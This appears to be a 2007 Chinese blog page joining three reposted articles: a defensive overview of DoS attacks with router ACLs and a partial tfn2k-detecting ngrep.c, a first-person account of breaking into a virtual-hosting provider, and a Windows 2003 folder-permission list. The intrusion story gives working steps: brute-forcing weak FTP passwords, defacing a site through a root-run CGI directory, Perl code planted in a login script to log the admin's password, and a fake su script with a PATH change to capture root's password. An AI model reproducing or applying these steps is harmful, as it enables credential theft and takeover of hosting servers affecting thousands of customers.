星期六, 二月 24, 2007

黑客们正醉心于研究的:拒绝服务攻击

作者:kerry 来源:赛迪网

Internet给全世界的人们带来了无限的生机,真正实现了无国界的全球村。但是还有很多困绕我们的因素,象IP地址的短缺,大量带宽的损耗,以及政府规章的限制和编程技术的不足。现在,由于多年来网络系统累积下了无数的漏洞,我们将面临着更大的威胁,网络中潜伏的好事者将会以此作为缺口来对系统进行攻击,我们也不得不为以前的疏忽付出更大的努力。虽然大多的网络系统产品都标榜着安全的旗号,但就我们现在的网络协议和残缺的技术来看,危险无处不在。

拒绝服务攻击是一种遍布全球的系统漏洞,黑客们正醉心于对它的研究,而无数的网络用户将成为这种攻击的受害者。Tribe Flood Network, tfn2k, smurf, targa…还有许多的程序都在被不断的开发出来。这些程序想瘟疫一样在网络中散布开来,使得我们的村落更为薄弱,我们不得不找出一套简单易用的安全解决方案来应付黑暗中的攻击。

在这篇文章中我们将会提供:

· 对当今网络中的拒绝服务攻击的讨论。

· 安全环境中的一些非技术性因素以及我们必须克服的一些障碍问题。

· 如何认清产品推销商所提供的一些谎言。

在我们正式步入对这些问题的技术性讨论之前,让我们先从现实的生活中的实际角度来看一下这些困绕我们的问题。

当前的技术概况

在我们进入更为详细的解决方案之前,让我们首先对问题做一下更深入的了解。

与安全相关的这些小问题如果详细来讲的话都能成为一个大的章节,但限于篇幅的原因,我们只能先作一下大体的了解。

· 软件弱点是包含在操作系统或应用程序中与安全相关的系统缺陷,这些缺陷大多是由于错误的程序编制,粗心的源代码审核,无心的副效应或一些不适当的绑定所造成的。根据错误信息所带来的对系统无限制或者未经许可的访问程度,这些漏洞可以被分为不同的等级。

· 典型的拒绝服务攻击有如下两种形式:资源耗尽和资源过载。当一个对资源的合理请求大大超过资源的支付能力时就会造成拒绝服务攻击(例如,对已经满载的Web服务器进行过多的请求。)拒绝服务攻击还有可能是由于软件的弱点或者对程序的错误配置造成的。区分恶意的拒绝服务攻击和非恶意的服务超载依赖于请求发起者对资源的请求是否过份,从而使得其他的用户无法享用该服务资源。

· 错误配置也会成为系统的安全隐患。这些错误配置通常发生在硬件装置,系统或者应用程序中。如果对网络中的路由器,防火墙,交换机以及其他网络连接设备都进行正确的配置会减小这些错误发生的可能性。如果发现了这种漏洞应当请教专业的技术人员来修理这些问题。

如果换个角度,也可以说是如下原因造成的:

· 错误配置。错误配置大多是由于一些没经验的,无责任员工或者错误的理论所导致的。开发商一般会通过对您进行简单的询问来提取一些主要的配置信息,然后在由经过专业培训并相当内行的专业人士来解决问题。

· 软件弱点。由于使用的软件几乎完全依赖于开发商,所以对于由软件引起的漏洞只能依靠打补丁,安装hot fixes和Service packs来弥补。当某个应用程序被发现有漏洞存在,开发商会立即发布一个更新的版本来修正这个漏洞。

· 拒绝服务攻击。拒绝服务攻击大多是由于错误配置或者软件弱点导致的。某些DoS攻击是由于开发协议固有的缺陷导致的,某些DoS攻击可以通过简单的补丁来解决,还有一些导致攻击的系统缺陷很难被弥补。最后,还有一些非恶意的拒绝服务攻击的情况,这些情况一般是由于带宽或者资源过载产生瓶颈导致的,对于这种问题没有一个固定的解决方案。

深入DoS

DoS的攻击方式有很多种。最基本的DoS攻击就是利用合理的服务请求来占用过多的服务资源,致使服务超载,无法响应其他的请求。这些服务资源包括网络带宽,文件系统空间容量,开放的进程或者向内的连接。这种攻击会导致资源的匮乏,无论计算机的处理速度多么快,内存容量多么大,互连网的速度多么快都无法避免这种攻击带来的后果。因为任何事都有一个极限,所以,总能找到一个方法使请求的值大于该极限值,因此就会使所提供的服务资源匮乏,象是无法满足需求。千万不要自认为自己拥有了足够宽的带宽就会有一个高效率的网站,拒绝服务攻击会使所有的资源变得非常渺小。

传统上,攻击者所面临的主要问题是网络带宽,由较小的网络规模和较慢的网络速度,无法使攻击者发出过多的请求,然而,类似"the ping of death"的攻击类型紧需要很少量的包就可以摧毁一个没有打过补丁的UNIX系统。当然,多数的DoS攻击还是需要相当大的带宽的,但是高带宽是大公司所拥有的,而以个人为主的黑客很难享用。为了克服这个缺点,恶意的攻击者开发了分布式的攻击。这样,攻击者就可以利用工具集合许多的网络带宽来对同一个目标发送大量的请求。

以下的两种情况最容易导致拒绝服务攻击:

· 由于程序员对程序错误的编制,导致系统不停的建立进程,最终耗尽资源,只能重新启动机器。不同的系统平台都会采取某些方法可以防止一些特殊的用户来占用过多的系统资源,我们也建议尽量采用资源管理的方式来减轻这种安全威胁。

· 还有一种情况是由磁盘存储空间引起的。假如一个用户有权利存储大量的文件的话,他就有可能只为系统留下很小的空间用来存储日志文件等系统信息。这是一种不良的操作习惯,会给系统带来隐患。这种情况下应该对系统配额作出考虑。

从安全的角度来看,本地的拒绝服务攻击可以比较容易的追踪并消除。而我们这篇文章主要是针对于网络环境下的DoS攻击。下面我们大体讨论一下较为常见的基于网络的拒绝服务攻击:

· Smurf (directed broadcast)。广播信息可以通过一定的手段(通过广播地址或其他机制)发送到整个网络中的机器。当某台机器使用广播地址发送一个ICMP echo请求包时(例如PING),一些系统会回应一个ICMP echo回应包,也就是说,发送一个包会收到许多的响应包。Smurf攻击就是使用这个原理来进行的,当然,它还需要一个假冒的源地址。也就是说在网络中发送源地址为要攻击主机的地址,目的地址为广播地址的包,会使许多的系统响应发送大量的信息给被攻击主机(因为他的地址被攻击者假冒了)。使用网络发送一个包而引出大量回应的方式也被叫做"放大器",这些smurf放大器可以在www.netscan.org网站上获得,一些无能的且不负责任的网站仍有很多的这种漏洞。

· SYN flooding 一台机器在网络中通讯时首先需要建立TCP握手,标准的TCP握手需要三次包交换来建立。一台服务器一旦接收到客户机的SYN包后必须回应一个SYN/ACK包,然后等待该客户机回应给它一个ACK包来确认,才真正建立连接。然而,如果只发送初始化的SYN包,而不发送确认服务器的ACK包会导致服务器一直等待ACK包。由于服务器在有限的时间内只能响应有限数量的连接,这就会导致服务器一直等待回应而无法响应其他机器进行的连接请求。

· Slashdot effect 这种攻击手法使web服务器或其他类型的服务器由于大量的网络传输而过载,一般这些网络流量是针对某一个页面或一个链接而产生的。当然这种现象也会在访问量较大的网站上正常发生,但我们一定要把这些正常现象和拒绝服务攻击区分开来。如果您的服务器突然变得拥挤不堪,甚至无法响应再多的请求时,您应当仔细检查一下这个资源匮乏的现象,确认在10000次点击里全都是合法用户进行的,还是由5000个合法用户和一个点击了5000次的攻击者进行的。

拒绝服务一般都是由过载导致的,而过载一般是因为请求到达了极限。

拒绝服务攻击的发展

由于我们防范手段的加强,拒绝服务攻击手法也在不断的发展。

Tribe Flood Network (tfn) 和tfn2k引入了一个新概念:分布式。这些程序可以使得分散在互连网各处的机器共同完成对一台主机攻击的操作,从而使主机看起来好象是遭到了不同位置的许多主机的攻击。这些分散的机器由几台主控制机操作进行多种类型的攻击,如UDP flood, SYN flood等。

操作系统和网络设备的缺陷在不断地被发现并被黑客所利用来进行恶意的攻击。如果我们清楚的认识到了这一点,我们应当使用下面的两步来尽量阻止网络攻击保护我们的网络:

A)尽可能的修正已经发现的问题和系统漏洞。

B)识别,跟踪或禁止这些令人讨厌的机器或网络对我们的访问。

我们先来讨论一下B),在B)中我们面临的主要问题是如何识别那些恶意攻击的主机,特别是使用拒绝服务攻击的机器。因为这些机器隐藏了他们自己的地址,而冒用被攻击者的地址。攻击者使用了数以千记的恶意伪造包来使我们的主机受到攻击。"tfn2k"的原理就象上面讲的这么简单,而他只不过又提供了一个形象的界面。假如您遭到了分布式的拒绝服务攻击,实在是很难处理。

解决此类问题的一些专业手段----包过滤及其他的路由设置

有一些简单的手法来防止拒绝服务式的攻击。最为常用的一种当然是时刻关注安全信息以期待最好的方法出现。管理员应当订阅安全信息报告,实时的关注所有安全问题的发展。:)

第二步是应用包过滤的技术,主要是过滤对外开放的端口。这些手段主要是防止假冒地址的攻击,使得外部机器无法假冒内部机器的地址来对内部机器发动攻击。

我们可以使用Cisco IOS来检查路由器的详细设置,当然,它也不仅限于Cisco的设备,但由于现在Cisco设备在网络中占有了越来越多的市场份额(83%),所以我们还是以它为例子,假如还有人有其他的例子,我们也非常高兴你能提出您的宝贵信息。

登陆到将要配置的路由器上,在配置访问控制列表之前先初始化一遍:

c3600(config)#access-list 100 permit ip 207.22.212.0 0.0.0.255 any

c3600(config)#access-list 100 deny ip any any

然后我们假设在路由器的S0口上进行ACL的设置,我们进入S0口,并进入配置状态:

c3600(config)#int ser 0

c3600(config-if)#ip access-group 100 out

通过显示access-list来确认访问权限已经生效:

c3600#sho access-lists 100

Extended IP access list 100

permit ip 207.22.212.0 0.0.0.255 any (5 matches)

deny ip any any (25202 matches)

对于应该使用向内的包过滤还是使用向外的包过滤一直存在着争论。RFC 2267建议在全球范围的互连网上使用向内过滤的机制,但是这样会带来很多的麻烦,在中等级别的路由器上使用访问控制列表不会带来太大的麻烦,但是已经满载的骨干路由器上会受到明显的威胁。

另一方面,ISP如果使用向外的包过滤措施会把过载的流量转移到一些不太忙的设备上。 ISP也不关心消费者是否在他们的边界路由器上使用这种技术。当然,这种过滤技术也并不是万无一失的,这依赖于管理人员采用的过滤机制。

我们经常会听到设备销售或集成商这样的推脱之词,他们总是说使用ACL会导致路由器和网络性能的下降。ACL确实会降低路由器的性能并加重CPU的负载,但这是微乎其微的。我们曾经在Cisco 2600 和3600系列路由器上作过实验:

以下是不使用和使用ACL时的对照表:

Test Speed w/o ACL (Mbps) w/ ACL (Mbps) w/o ACL (total time) w/ ACL (total time) % change

Cisco 2600 100Mbps -》 100 Mbps File transfers 36.17 Mbps 35.46 Mbps 88.5 90.2 2.50%

Cisco 3600 10Mbps -》 10Mbps File transfers 7.95 Mbps 8.0Mbps 397 395 0.30%

使用的路由器配置如下:

· Cisco 3640 (64MB RAM, R4700 processor, IOS v12.0.5T)

· Cisco 2600 (128MB RAM, MPC860 processor, IOS v12.0.5T)

由表我们可以看出,在使用ACL前后对路由器性能的影响并不是很大。

使用DNS来跟踪匿名攻击

也许大家仍旧保存着侥幸心理,认为这些互连网上给我们带来无数麻烦DoS漏洞或许随着路由器包过滤,网络协议升级到IPv6或者随时的远程响应等手段变得越来越不重要。但从一个具有责任感的网管的观点来看,我们的目标并不是仅仅阻止拒绝服务攻击,而是要追究到攻击的发起原因及操作者。

当网络中有人使用假冒了源地址的工具(如tfn2k)时,我们虽然没有现成的工具来确认它的合法性,但我们可以通过使用DNS来对其进行分析:

假如攻击者选定了目标www.technotronic.com,他必须首先发送一个DNS请求来解析这个域名,通常那些攻击工具工具会自己执行这一步,调用gethostbyname()函数或者相应的应用程序接口,也就是说,在攻击事件发生前的DNS请求会提供给我们一个相关列表,我们可以利用它来定位攻击者。

使用现成工具或者手工读取DNS请求日志,来读取DNS可疑的请求列表都是切实可行的,然而,它有三个主要的缺点:

l 攻击者一般会以本地的DNS为出发点来对地址进行解析查询,因此我们查到的DNS请求的发起者有可能不是攻击者本身,而是他所请求的本地DNS服务器。尽管这样,如果攻击者隐藏在一个拥有本地DNS的组织内,我们就可以把该组织作为查询的起点。

l 攻击者有可能已经知道攻击目标的IP地址,或者通过其他手段(host, ping)知道了目标的IP地址,亦或是攻击者在查询到IP地址后很长一段时间才开始攻击,这样我们就无法从DNS请求的时间段上来判断攻击者(或他们的本地服务器)。

l DNS对不同的域名都有一个却省的存活时间,因此攻击者可以使用存储在DNS缓存中的信息来解析域名。为了更好做出详细的解析记录,您可以把DNS却省的TTL时间缩小,但这样会导致DNS更多的去查询所以会加重网络带宽的使用。

在许多情况下,只要您拥有足够的磁盘空间,记录所有的DNS请求并不是一种有害的做法。在BIND8.2中做记录的话,可以在named.conf中假如下面的几行:

logging {

channel requestlog { file "dns.log"; };

category queries { requestlog; };

};

使用 ngrep来处理tfn2k 攻击

根据使用DNS来跟踪tfn2k驻留程序的原理,现在已经出现了称为ngrep的实用工具。经过修改的ngrep(参见附录)可以监听大约五种类型的tfn2k拒绝服务攻击(targa3, SYN flood, UDP flood, ICMP flood 和 smurf),它还有一个循环使用的缓存用来记录DNS和ICMP请求。如果ngrep发觉有攻击行为的话,它会将其缓存中的内容打印出来并继续记录ICMP回应请求。假如攻击者通过ping目标主机的手段来铆定攻击目标的话,在攻击过程中或之后记录ICMP的回应请求是一种捕获粗心的攻击者的方法。由于攻击者还很可能使用其他的服务来核实其攻击的效果(例如web),所以对其他的标准服务也应当有尽量详细的日志记录。

还应当注意,ngrep采用的是监听网络的手段,因此,ngrep无法在交换式的环境中使用。但是经过修改的ngrep可以不必和你的DNS在同一个网段中,但是他必须位于一个可以监听到所有DNS请求的位置。经过修改的ngrep也不关心目标地址,您可以把它放置在DMZ网段,使它能够检查横贯该网络的tfn2k攻击。从理论上讲,它也可以很好的检测出对外的tfn2k攻击。

运行 ngrep, 您将看到:

[root@lughnasad ngrep]# ./ngrep

Ngrep with TFN detection modifications by wiretrip / www.wiretrip.net

Watching DNS server: 10.0.0.8

interface: eth0 (10.0.0.0/255.255.0.0)

从这里开始ngrep将监听tfn2k攻击,如果检测到攻击, ngrep将在屏幕上打印:

Sun Jan 9 17:30:01 2000

A TFN2K UDP attack has been detected!

Last (5000) DNS requests:

《list of IPs that made DNS requests, up to DNS_REQUEST_MAX length》

Last (1000) ICMP echo requests (pings):

《list of IPs that made ICMP echo requests, up to ICMP_REQUEST_MAX length》

Incoming realtime ICMP echo requests (pings):

《all ICMP echo requests since the attack was detected》

以上的列表并不是唯一的,可以对它进行调整让他不仅显示是谁请求,而且请求多少次,频率为多少等等。在ICMP flood事件中,ICMP回应请求的报告中将不包括做为tfn2k flood一部分的ICMP包。Ngrep还可以报告检测出来的除smurf之外的攻击类型(TARGA, UDP, SYN, ICMP等)。混合式的攻击在缺省情况下表现为ICMP攻击,除非你屏蔽了向内的ICMP回应请求,这样它就表现为UDP或SYN攻击。这些攻击的结果都是基本类似的。

附录- Ngrep.c with tfn2k detection

以下的代码在使用前应当更改一些参数。

#define DNS_REQUEST_MAX 5000

#define ICMP_REQUEST_MAX 1000

通知ngrep最大的请求跟踪数(在检测攻击之前)。传输较为繁忙的网站应当增加这一数值(网络流量较为繁忙的网站DNS的请求数最好在10,000,而ICMP请求为2000-3000)

#define FLOOD_THRESHOLD 20

用在10秒中内有多少同一类型的攻击包来确认为真正的攻击。数目设计的越大,程序报受攻击的可能性就越小。假如您老是收到错误的警报,那么您应当增加一下这个数值。

#define DNS_SERVER_IP "10.0.0.8"

Ngrep通过监视DNS服务器的53端口的UDP包来跟踪向内的DNS请求(只有UDP)。因此,ngrep需要知道您的DNS服务器的IP地址。

我们的设备可能会有多个DNS服务器,但我们认为对一台DNS服务器的支持足以证明这项技术的能力。

#define TTL_THRESHOLD 150

tfn2k SYN flood 攻击使用的 TTL值通常在200-255的范围内。估计到攻击者与目标主机之间不止50跳,因此我们可以只查找TTL时间高于150的包。假如您相信攻击者在50跳左右,那么您可以对TTL的限制进行一下更改。

编译更改过的 ngrep

编译和安装都非常简单。您仅需要使用以下之一来取代ngrep.c 文件。处于方便起见,我们可以详细说明。

这段代码只是在RedHat 6.1 和Mandrake 6.5 Linux上测试过。

首先您需要在 http://www.packetfactory.net/ngrep/ 下载ngrep,我们测试的是1.35版。

然后在 ftp://ftp.ee.lbl.gov/libpcap.tar.Z下载libpcap 我们使用的是 0.40版。

把文件放在临时文件夹里并解包,

tar xvzf libpcap.tar.Z

然后进行编译

cd libpcap-0.4; ./configure; make; make install; make install-incl

假如您遇到了困难,可以参见在libpcap-0.4目录里的README或INSTALL文件。根据我们实验的经验,如果/usr/local/include 和/usr/local/include/net目录在linux系统中不存在的话,安装会失败。加入您在安装时遇到了pcap.h 或 bpf.h的错误时你可以运行

mkdir /usr/local/include; mkdir /usr/local/include/net然后重新运行'make install-incl'。然后我们需要编译ngrep (使用我们修改过的版本)。首先解包

tar xvzf ngrep-1.35.tar.gz

然后进行配置

cd ngrep; ./configure

然后把ngrep.c复制到ngrep目录里。你可以覆盖也可以备份原始的ngrep.c文件。在这里,您应当回顾在修改过的ngrep.c里的配置,至少您应当把DNS_SERVER_IP更改为您所使用的DNS的地址。更改完毕后你就可以运行'make',这样就建立了ngrep应用程序。

Modified ngrep.c source code

/* this code is available for download from http://www.wiretrip.net/na/ngrep.c */

/*

* $Id: ngrep.c,v 1.35 1999/10/13 16:44:16 jpr5 Exp $

*

*/

/* TFN detection code added by Rain Forest Puppy / rfp@wiretrip.net

and Night Axis / na@wiretrip.net */

/********* TFN detection defines *******************************/

/* how many DNS and ICMP requests to track */

#define DNS_REQUEST_MAX 5000

#define ICMP_REQUEST_MAX 1000

/* flood threshold is matches per 10 seconds */

#define FLOOD_THRESHOLD 20

/* IP of your DNS server */

#define DNS_SERVER_IP "10.9.100.8"

/* TFN syn uses ttl between 200-255. Assuming less than 50 hops,

flag stuff with ttl > TTL_THRESHOLD (other critera are used

as well) */

#define TTL_THRESHOLD 150

/**************************************************************/

#include

#include

#include

#ifdef LINUX

#include

#endif

#if defined(BSD) 

入侵实例看虚拟主机系统的安全问题

入侵实例看虚拟主机系统的安全问题

作者:黑白网络 来源:黑白网络 

其实早就有写这个文章的想法,一直没有写的原因是因为恐怕这无形为一些乐于此道的人提供了一种方法,但想想说了也许就能多少对一些IDC们起一定的压力,加强一些安全方面的措施,不然的话苦的是那些广大的虚拟主机用户,哪天被黑了,都傻傻的不知道怎么回事,当然,在我写出这个来的时候,我也是已经确定我所提及的大部分问题都已得到解决,下列所述的IP、域名、用户名、密码、路径、文件名等等都已被我更换,不是实际的,而且是合并了2个以上服务商的问题,凑成一起说,各位看官无需将我所述影射到国内的任何一个虚拟主机服务商身上。

事情发生在半年以前,那时候20CN还没有成立,因为某些原因,我想要干掉一个网站,(没错,确实就是这样,别把俺想得太高尚),首先当然是找个扫描器扫一下端口,发现这是一部很标准的UNIX主机,开着telnet,ftp,smtp,pop等,开着这么多的端口,似乎很好搞,当时这么想,谁知道仔细一看,各个服务程序的版本都没有什么中级以上漏洞,不仅没有远程的溢出,连本地的都似乎没有,只好试试看有没有CGI方面的漏洞,一扫下来,也是几乎没有什么可以利用的,就在他网站上四处看看,发现有个一会员注册的程序,为了得到目标的进一步资料,我就注册一下了,结果收到一份邮件,发现发件人为 ab1234@abc.com,但这个网站的域名确是def.com,奇怪,照这个看来,这个好像是虚拟主机,在IE上打入 IP202.96.100.10看看,结果出来的是XXX公司xxx虚拟主机什么什么#*#%@!%^&#*#@乱七八遭一广告,没错了,这是个虚拟主机。而他在这个主机上的用户名是ab1234,得到了用户名,首先进行ftp的简单穷举,没用,看来密码还是设得比较好,既然你的破不了,那么破了别人的和你的距离也就再接近了一点了,所以看看别人的如何,于是从用户 ab1200--ab1300一个一个来,很快,ab1210的密码出来了很简单的8888,我理所当然的用user:ab1210 pass:8888 telnet 了进去,但我要干掉的是ab1234的而不是ab1210的,所以就去ab1234的目录

%cd

%cd home

%ls

一堆用户目录

%cd ab1234

:Permission denied

没错,这正常,进不了其他用户的目录,但是没关系,既然进来了,干掉他的机会就有80%了,现在先到处看看再说,结果发现了这部主机运行了3个独立的apache,一个在80端口、一个在91端口、还有一个在92,80的不用说,但91、92这些又是干什么的呢?看看再说,在IE上输入http://202.96.100.10:91/ 出来要一个身份验证的对话框,好,那就输入刚刚的ab1210 ,8888,进去了原来这是个用户管理界面,可以在这里设置邮件,改密码什么的,既然用web可以做这些事,那这个apache似乎不可能是nobody身份运行了,找到他的httpd.conf一看,天~~~~~~,user root ,这就意味着,如果这个apache 的cgi-bin目录下的任何一个文件对其他人可写,我就可以是root,只不过不是控制台上的root而已,我必须修改那个可写的文件的内容,让他变成是我的命令,然后通过浏览器用apache来运行他。于是

%cd /var/www/manager/cgi-bin

%ls

:Permission denied

呀呀,进得来却不能读

%cd ..

%ls

:Permission denied

混蛋

$cd ..

%ls

%htdocs cgi-bin backup manager

嘿嘿,backup,备份,一般来说,管理员备份的时候一般都为了省事没有设定权限,看看能不能进

%cd backup

%

可以

%ls -la

drwxr-xr-x 7 root wheel 512 Jul 20 07:02 .

drwxr-xr-x 4 root wheel 512 Jul 3 01:49 ..

......

-rw-r--r-- 1 root wheel 25642628 Jul 3 01:49 manager_00_05_12.tar

......

嘻嘻,看到没有,果然有manager目录的备份,还是644,可以下回去慢慢看看啦,先把他复制到ab1210的htdocs目录,这是ab1210这个用户的网站的根目录

%cp manager_00_05_12.tar /home/ab1210/htdocs/manager.tar

%cd

%cd htdocs

这个manager.tar超大,25M ,先压缩一下,然后打开IE下载,输入http://ab1210的域名/manager.tar.gz,下回本地慢慢看,半小时之后,终于弄清楚这个程序的原理,也知道了在那些目录下有哪些重要的文件,包括了在/home/sysadm下面似乎有个一用户的明文密码文件userpw,也知道了在这个apache的cgi-bin目录下有个一data的目录是任何人可写的,这样就好办啦

%cd /var/www/manager/cgi-bin/data

%touch hacked.html

%touch cp.php3

%vi hacked.html

开始骂的内容,就是没法输入中文,没办法,凑合

:wq

%

%vi cp.php3

:wq

%

接下来用IE打开 http://202.96.100.10:91/cgi-bin/data/cp.php3,出来一片空白,呵呵,那就是完成啦,再打开那个网站的主页看看,没错, 就这样把这网站给改掉了!

到此,干掉这个站的任务是完成了,不过我现在的兴趣却是要看看这个主机里面的一些敏感数据了,还用刚刚的方法,改变 cp.php3的内容,把所有要得文件写进去,全部复制到ab1210的htdocs目录打个包,用IE下载了回去,果然,刚刚说到的那个/home/sysadm下面有个明文的密码文件userpw确实就是这部主机上的所有用户的用户名和密码列表,这个似乎是用来做忘记密码是取回的文件,呵呵,包括了ab1234这个要干掉的站的密码也在内,一共1500个用户的密码在我手里了,通过对下载回来的manager目录里的程序和刚刚那些文件的分析,我对这个主机的结构已经相当清楚了,也发现了这个sysadm的用户似乎有很高的权限,而且它是wheel组的,有su root 的权力,好奇心促使我想要进一步的探索到他的整个机群。当然,我完全可以用刚才的方法写个脚本改变sysadm 或是 root的密码,然后随心所欲的干,但这样一来,明天我可能就进不来了,他们发现了root密码被改,肯定会查清楚问题所在了,现在需要得到的是sysadm的密码,这个密码在刚刚那个userpw中是没有的,我估计他们每一部主机的sysadm的密码应该是相同的,这样我可以得到其他的主机的控制权,但现在还没有明确的知道要怎么做,所以先来看看那个运行在92端口的apache是干什么的再说,同样用IE来看,http://202.96.100.10:92/,还是要输入密码,输入ab1210 ,8888 ,不行,用其他的用户进入,也不行,剩下的只有一些系统账号和sysadm这个了,再回到本地来看看第一次下载回来的那个manager.tar,他当中也包括了那个运行在92端口的程序,看看发现这个是他们内部用来管理用户的程序,管理员可以通过这个程序增加删除用户,设定用户的空间限制等等,这个程序的登陆限制比较严格,除了有apache目录保护之外,还有IP段限制,只允许一个特定的IP段登陆,还有就是只有在/etc/usercan这个文件中列入的用户名才可以登陆,密码就还是使用系统的密码,usercan这个文件我刚刚没有取回来,现在还是用刚才改主页的方法,把这个文件复制到ab1210的目录

%cat usercan

sysadm

没错,就只有一个人可以登陆,就是sysadm,我现在需要的是sysadm的密码,当然,那个shadow过的密码文件我已经也取回了,不过我想这么重要的密码,应该不会简单的,穷举显然不是办法,所以,我修改了这个身份验证的程序index.cgi,增加了如下代码

open(FH,">>/etc/passwd.org");

print FH "$passwd n";

close(FH);

这样,当管理员登录的时候,他的密码将被写到/etc/passwd.org这个文件当中,我只要等着他登陆就行了,改好之后,用ftp上传,还用刚刚的方法,不过这次是搬回去,覆盖掉系统上原来的index.cgi。

接下来,当然就是清除刚刚留下的各种痕迹,这个就不再废话了。第二天,继续用ab1210登录

%cat /etc/passwd.org

cat: passwd.org: No such file or directory

看来到现在管理员还没有登陆过,只好继续等啦,到了晚上,再次登录,这下有了,

%cat /etc/passwd.org

D1C2B3A4

D1C2B3A4

%

这样,我得到了一个应该可登录到他们的每一部主机上的同属root组的用户sysadm,密码D1C2B3A4,我已经看过/etc/ttys,虽然在那个管理系统上sysadm不能从其他IP登录,但是操作系统本身并没有限制sysadm不能telnet。

接下来,就来看看他们多少部这样的主机,方法很简单,在202.96.100这个IP段扫出有91这个端口的就是了,一看有6部,随便找个试试看,成功了,可以进,证实了我的想法没错,sysadm可以登陆任何一部主机,而且密码是一样的,至此,这个IDC的所有UNIX虚拟主机的一共几千个客户的网站的生杀大权以掌握在我手里,只要我头脑一发热,一个简单的脚本就可以把所有的这些网站的主页改了,只要在那个管理程序中增加几个#,就可以把所有的用户删个一干二净,幸好我那段时间正好和网上一个MM打得火热,而生意也有点小钱赚,心情还算非常良好,不然可能就不会有20CN了,你也不会看到我这文章,因为要是当时把他们给改了或是删了,我今天名气应该比红客们大得多,但现在没准就是在监狱里呆着

好了,本次的入侵可以说是到一段落了,按照通常的入侵实例的写法,好像到了我要说我就给那管理员发份邮件,告知问题所在的时候了,但是你错了,我并没有这么做,为什么?下回分解

虽然到目前为止,我事实上已经控制了他所有的UNIX主机,也早就有了root权限,但root的密码我还是不知道,这多少还有点不甘心,怎样来得到这个密码呢?穷举当然是一种,但我就算知道了root密码,也不想要干什么,何必费这么大的劲,所以我决定来一招偷天换日,虽然sysadm很少会从telnet登录,但他总要有登陆的时候的,而且一登陆肯定要干root才干的事,他必须使用su命令让自己成为root,使用su命令的时候当然需要输入root的密码,我就可从这点入手,做一个假的su来欺骗,让他先运行的是我写的su,把他输入的密码保存到一个文件上,即使他的密码是对的,也给他出错提示,然后删除我的这个su,他再次运行的就是真正的su了。所以我用sysadm登录并写了如下脚本放在他的用户目录下,文件名为su

%vi su

#!/bin/sh

echo -n "Password:"

stty -echo;read PASSWD;stty echo

echo "$PASSWD">>/tmp/.password

echo;

echo "Sorry"

rm -fr ~/su

:wq

%chmod 755 su

为了让他先运行的是我的su而不是系统的su,还需要改变shell的rc文件,所以打开.cshrc 在

set path = (/sbin /bin /usr/sbin /usr/bin /usr/local/sbin /usr/local/bin $HOME/bin)前面增加一个~,

即让系统在查找命令时首先查找的是自己的目录,就是放有我写的su的目录,变成这个样子

set path = (~ /sbin /bin /usr/sbin /usr/bin /usr/local/sbin /usr/local/bin $HOME/bin)

因为不知道他会使用那个shell,所以每一个rc文件都做了同样的处理......

最后的结果当然是顺利的取得了root的密码,虽然这个方法看起来很简陋,容易看穿,但事实上却是非常的隐蔽,在一个UNIX系统上,输入密码是连个*都没有给你回显的,管理员去su的时候,一般都是有事,需要很快做好,输错一次密码应该还没感觉过来,就算之后感觉出来了但我这个su又是运行一次就删掉了,不像什么木马后门之类,做完事还大摸大样的留在那里,而rc文件,一般设置完成之后都很少有去看的,大不了我得到密码之后改回来就是了,基本上并没有留下什么痕迹。

实际上,这个入侵的实例,由头到尾都是极为普通的,没有什么高技术的成分,也没有现在人家都喜欢用的什么什么漏洞,什么什么溢出,只是由一个普通用户的弱口令开始,慢慢的发展到了整个主机群被控于一个入侵者的手中,事实上,操作系统和各种相关服务的本身并没有什么漏洞,问题主要还是发生在CGI程序的编写,维护中的疏忽,管理员对安全问题不敏感这些上。在系统本身的漏洞少这点上,应该可以看出,主机一开始是由一些资深的工程师配置,之后也会根据以发现的漏洞做修补,但在以后的管理过程中,是由下一层技术人员负责,这一层的人往往技术面不广,人家叫干什么就干什么,不会有很大的责任压力,这样就把安全问题越捅越大。如果没有那个备份文件,我根本不能了解那个以root运行的apache的cgi-bin的目录结构和具体的文件名,因为其他人并没有r权限。第二个就是suid为root的程序的写法不够严格(以root运行的apache执行CGI时和suid root是差不多一样的),在一个虚拟主机上,为了让用户可以通过web界面来管理,不得不让apache以root的身份运行,因为用户的设置,需要改变很多系统的配置文件,如passwd httpd.conf sendmail.cf 等等,虽然apache的suexe提供了比squid更多安全选项如docroot等,但在这里根本就派不上用场。所以这个CGI应该是每一行代码都要知道自己是以root运行的,丝毫不得有差错,但遗憾的是,我见到的大多数服务商的这种CGI都忘记了自己是谁,其写法和普通的CGI类似,创建的文件大多是设置为666,777,而程序本身的属性为755,事实上,当apache加入suexec这个功能后,CGI程序本身设置为700,其他文件为400就可以了,可以做到除了自己,任何人不可以读。如果没有这个属性的问题,在上面的实例中,我也不可能在cgi-bin下面创建文件,让apache去运行,也就无法改变主业,复制文件,修改程序。正是这一步,把整个系统推向了被毁灭的边缘。第三个问题就老生常谈了,人本身的安全意识问题,在几个服务商的主机上都发现了,同一个服务商,它的结构一样的不同的主机,某些目录的权限也不一样,这个很明显是在日常的维护中改变的。在维护过程中,对一些微妙的东西不注意,往往也是危险发生的原因,比如那个su,就这样让我把root密码给偷了去。而上面提及的问题,到头来也是体现在这个问题上,安全似乎没有大小之分,一个大的远程溢出可以让入侵者得到root,但只是一些小小疏忽也可以让入侵者得到root,但大家往往都把注意力集中在一些系统漏洞的修补上,却忽视了某些"小问题"。

在目前的技术水平上实现的虚拟主机,这些问题的出现应该说是在所难免的,因为这涉及到了服务商的整个员工队伍的素质问题,在没有更好的虚拟主机的实现方法之前,如果从技术方面考虑,我觉得应该在权限方面多下功夫,比如用程序隔一定时间(如一小时)检查各个重要的目录、文件是否有被修改,用编译的程序来代替脚本类型的程序等等,说下去又一长篇大论,本人知识水平有限,为了避免在各位高人面前班门弄斧,就此打住。

针对ASP类网站的Win 2003硬盘安全设置

作者:ndfge 来源:bbs.tech.ccidnet.com 

C:分区部分:

c:

administrators 全部

iis_wpg 只有该文件夹

列出文件夹/读数据

读属性

读扩展属性

读取权限

c:inetpubmailroot

administrators 全部

system 全部

service 全部

c:inetpubftproot

everyone 只读和运行

c:windows

administrators 全部

Creator owner

不是继承的

只有子文件夹及文件

完全

Power Users

修改,读取和运行,列出文件夹目录,读取,写入

system 全部

Users 读取和运行,列出文件夹目录,读取

c:Program Files

Everyone 只有该文件夹

不是继承的

列出文件夹/读数据

administrators 全部

iis_wpg 只有该文件夹

列出文件/读数据

读属性

读扩展属性

读取权限

c:Program FilesCommon Files

administrators 全部

Creator owner

不是继承的

只有子文件夹及文件

完全

Power Users

修改,读取和运行,列出文件夹目录,读取,写入

system 全部

